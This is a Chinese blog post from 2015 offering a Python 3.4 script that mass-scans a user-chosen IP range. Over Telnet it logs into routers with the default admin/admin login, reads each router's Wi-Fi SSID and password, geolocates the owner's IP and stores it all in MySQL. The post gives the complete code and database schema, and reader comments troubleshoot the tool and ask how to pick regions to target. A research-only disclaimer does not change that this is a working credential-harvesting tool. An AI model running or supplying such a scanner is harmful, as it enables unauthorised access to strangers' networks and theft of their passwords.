通过Telnet漏洞批量扫描获取wifi密码的脚本(Python3.4)

发布时间:2015年09月10日 // 分类:代码 // 5 条评论

郑重声明:以下内容仅用于网络安全研究,严禁用于任何非法用途,违者自负。

前段时间在网上看到有人用Wifi Telnet老洞,编了一段Python2.7的批量扫描工具。由于我基本都用Python3.4,故做了一些改动,支持Python3.4。

主要改进有:

  • 改用pymysql、requests两个库;
  • 修改建表SQL,区分password和ssid的大小写
  • 改进程序入口
  • 修改Timeout

Wifi Telnet老洞参照这里:
《FAST MERCIRY路由器telnet另类入侵 读取WIFI密码》 http://www.wooyun.org/bugs/wooyun-2013-026776

原Python2.7程序作者这里:
《批量扫描互联网无线路由设备telnet,并获取WIFI密码》 http://lcx.cc/?i=4513

郑重声明:以下内容仅用于网络安全研究,严禁用于任何非法用途,违者自负。

程序需要MySQL数据库配套运行,其实也并不是很难。改进后的程序,需要注意安装一下pymysql、requests这两个库。推荐使用pip安装。

pip install pymysql
pip install requests

MySQL数据库建ttlwifi库,建表SQL如下:

/*
SQLyog Ultimate v11.24 (64 bit)
MySQL - 5.1.28-rc-community : Database - ttlwifi
*********************************************************************
*/


/*!40101 SET NAMES utf8 */;

/*!40101 SET SQL_MODE=''*/;

/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
CREATE DATABASE /*!32312 IF NOT EXISTS*/`ttlwifi` /*!40100 DEFAULT CHARACTER SET utf8 */;

USE `ttlwifi`;

/*Table structure for table `keydata` */

DROP TABLE IF EXISTS `keydata`;

CREATE TABLE `keydata` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `ip` varchar(20) NOT NULL,
  `ssid` varchar(50) BINARY NOT NULL,
  `password` varchar(64) BINARY NOT NULL,
  `createtime` varchar(24) NOT NULL,
  `country` varchar(20) NOT NULL,
  `province` varchar(20) NOT NULL,
  `city` varchar(20) NOT NULL,
  `isp` varchar(10) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=6970 DEFAULT CHARSET=utf8;

/*Table structure for table `keydatatmp` */

DROP TABLE IF EXISTS `keydatatmp`;

CREATE TABLE `keydatatmp` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `ip` varchar(20) NOT NULL,
  `ssid` varchar(50) NOT NULL,
  `password` varchar(64) NOT NULL,
  `createtime` varchar(24) NOT NULL,
  `country` varchar(20) DEFAULT NULL,
  `province` varchar(20) DEFAULT NULL,
  `city` varchar(20) DEFAULT NULL,
  `isp` varchar(10) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

代码如下:

#encoding=utf-8

#路由器密码扫描工具
#前置需求库:pymysql、requests

import pymysql
import requests
import queue
from threading import Thread
import telnetlib
import time
import re
import subprocess
import json

#from collections import queue

class Database:
    host = 'localhost'
    user = 'root'
    password = 'root'
    db = 'ttlwifi'
    charset = 'utf8'

    def __init__(self):
        self.my=pymysql.connect(host=self.host,user=self.user,passwd=self.password,db=self.db,charset=self.charset)
        self.myc=self.my.cursor(pymysql.cursors.DictCursor)


    def insert(self, query):
        #print(query)
        try:
            self.myc.execute(query)
            self.my.commit()
        except:
            self.my.rollback()

    def query(self, query):
        self.myc.execute(query)
        return self.myc.fetchall()

    def __del__(self):
        self.my.close()


#ip to num
def ip2num(ip):
    ip = [int(x) for x in ip.split('.')]
    return ip[0] << 24 | ip[1] << 16 | ip[2] << 8 | ip[3]

#num to ip
def num2ip(num):
    return '%s.%s.%s.%s' % ((num & 0xff000000) >> 24,
                            (num & 0x00ff0000) >> 16,
                            (num & 0x0000ff00) >> 8,
                            num & 0x000000ff)

#get all ips list between start ip and end ip
def ip_range(start, end):
    return [num2ip(num) for num in range(ip2num(start), ip2num(end) + 1) if num & 0xff]

#main function
def bThread(iplist):
    threadl = []
    threads = 300 #------------------------------------------------------
    queue1 = queue.Queue()
    hosts = iplist
    for host in hosts:
        queue1.put(host)

    threadl = [tThread(queue1) for x in list(range(0, threads))]
    for t in threadl:
        t.start()
    for t in threadl:
        t.join()

#get host position by Taobao API
def getposition(host):
    try:
        ipurl = "http://ip.taobao.com/service/getIpInfo.php?ip="+host
        r = requests.get(ipurl)
        value = json.loads(r.text)['data']
        info = [value['country'],value['region'],value['city'],value['isp'] ]
        return info
    except Exception as e:
        print("Get " + host+" position failed , will retry ...\n")
        getposition(host)
        
        
class tThread(Thread):
    username = "admin"
    password = "admin"
    TIMEOUT = 15

    def __init__(self, queue1):
        Thread.__init__(self)
        self.queue1 = queue1

    def run(self):
        while not self.queue1.empty():
            host = self.queue1.get()
            try:
                #print host
                data = self.telnet(host)
            except Exception as e:
                #print(e)
                continue

    def telnet(self, host):
        t = telnetlib.Telnet(host, timeout=self.TIMEOUT)
        t.read_until(b"username:", self.TIMEOUT)
        t.write(self.username.encode('ascii') + b"\n")
        t.read_until(b"password:", self.TIMEOUT)
        t.write(self.password.encode('ascii') + b"\n")
        t.write(b"wlctl show\n")
        t.read_until(b"SSID", self.TIMEOUT)
        str = t.read_very_eager().decode('ascii')
        t.close()
        str = "".join(str.split())
        SID = str[1:str.find('QSS')]
        KEY = str[str.find('Key=') + 4:str.find('cmd')] if str.find('Key=') != -1 else ''
        if SID != '':
            currentTime = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))
            try:
                ipinfo = getposition(host)
                mysql = Database()
                queryStr = "SELECT id FROM keydata where password='%s' and ssid='%s'" % (KEY,SID)
                ifexsit = len(mysql.query(queryStr))
                if ifexsit<1:
                    try:
                        mysql.insert("INSERT INTO keydata(ip, ssid, password, createtime,country,province,city,isp) VALUES('%s', '%s', '%s', '%s','%s','%s','%s','%s')" % (host, SID.replace("'","''"), KEY.replace("'","''"),currentTime,ipinfo[0],ipinfo[1],ipinfo[2],ipinfo[3]))
                        print('['+host+']Insert '+ SID +' into database success !\n')
                    except Exception as e:
                        print('['+host+']Save '+ SID +' failed , will resave ...... \n')
                        bThread([host])
                else:
                    print('['+host+']Found '+ SID +' in database ! \n')
            except Exception as e:
                print(e)
                exit(1)

def run(startIp,endIp):
    iplist = ip_range(startIp, endIp)
    print('\nTotal '+str(len(iplist))+" IP...\n")
    bThread(iplist)


if __name__ == '__main__':
    startIp = input('Start IP:')
    endIp = input('End IP:')
    run(startIp, endIp)

程序有两种运行方式,一种是直接运行,输入起止IP。另一种是作为库被另一个脚本加载,run()函数作为接口,方便二次开发。

最后附上打包文件供参考:Wifi Sanner.rar

郑重声明:以上内容仅用于网络安全研究,严禁用于任何非法用途,违者自负。

本文固定链接
https://www.ywlib.com/archives/28.html

标签
python, wifi, telnet, 密码, 扫描

已有 5 条 关于 " 通过Telnet漏洞批量扫描获取wifi密码的脚本(Python3.4) "的评论.

  1. 机智的小坑

    Exception ignored in:
    Traceback (most recent call last):
    File "scan.py", line 44, in __del__
    self.my.close()
    AttributeError: 'Database' object has no attribute 'my'

    运行过程中总是这个错误,请问是没有连接到么

    1. 你是用的是Python3吗?此外你看看pymysql装好没有。

      1. Hiro

        如果是kali等已经安装了Python2.7的升级Python3.4.x而且老的有没有清除的,需要用pip3 install pymysql和pip3 install requests去安装两个库。运行的时候也记得用Python scan.py运行脚本

        1. 我 如何确定 自己要扫描 那些ip呢?

          1. 你要扫描哪个地区,就去查这个地区的IP段

添加新评论 »